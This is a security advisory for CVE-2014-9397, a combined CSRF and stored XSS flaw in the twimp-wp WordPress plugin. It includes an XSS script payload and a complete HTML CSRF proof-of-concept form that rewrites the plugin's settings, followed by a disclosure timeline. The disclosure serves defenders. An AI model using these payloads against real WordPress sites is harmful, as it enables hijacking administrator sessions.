# Title: CSRF / Stored XSS Vulnerability in twimp-wp Plugin
# Author: Manideep K
# CVE-ID: CVE-2014-9397
# Plugin Homepage: https://wordpress.org/plugins/twimp-wp/
# Version Affected: (probably lower versions)
# Severity: High
# Description:
# Vulnerable Parameter: all text boxes , to name one - id & parameter:"message_format"
# About Vulnerability: This plugin is vulnerable to a combination of CSRF/XSS attack meaning that if an admin user can be tricked to visit a crafted URL created by attacker (via spear phishing/social engineering), the attacker can insert arbitrary script into admin page. Once exploited, admins browser can be made to do almost anything the admin user could typically do by hijacking admin's cookies etc.
# Vulnerability Class:
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29
Cross Site Scripting (https://www.owasp.org/index.php/Top_10_2013-A3-Cross-Site_Scripting_(XSS))
Steps to Reproduce: (POC):
After installing the plugin
Stored XSS:
1. Goto settings -> Twimp
2. Enter this payload "><script>alert(32)</script> in any of the columns. There is no minimum input validation.
3. Save changes and see XSS in action
4. Visit settings page of this plugin anytime later and you can see the script executing as it is stored.
Plugin does not uses any nonces and hence, the same settings can be changed using CSRF attack and the PoC code for the same is below
<html>
<body>
<form action="http://localhost/wordpress/wp-admin/options-general.php?page=twimp-wp/twimp-wp.php" method="POST">
<input type="hidden" name="message_format" value=" csrf baby" />
<input type="hidden" name="bitly_enabled" value="on" />
<input type="hidden" name="bitly_username" value="wptwitter" />
<input type="hidden" name="bitly_apikey" value="R_12a9de317ac3a41fa5ade0fdc78db14c" />
<input type="hidden" name="twitter_role" value="author" />
<input type="hidden" name="publishall_role" value="editor" />
<input type="hidden" name="submit" value="Save Changes" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
# Mitigation:
Reported - Not yet Fixed
# Disclosure:
2014-11-06: Author notification
2014-11-20: WP Team action taken by closing the plugin as there is no response from author
2014-12-09: Public Disclosure
# Credits:
Manideep K
Information Security Researcher
https://in.linkedin.com/in/manideepk
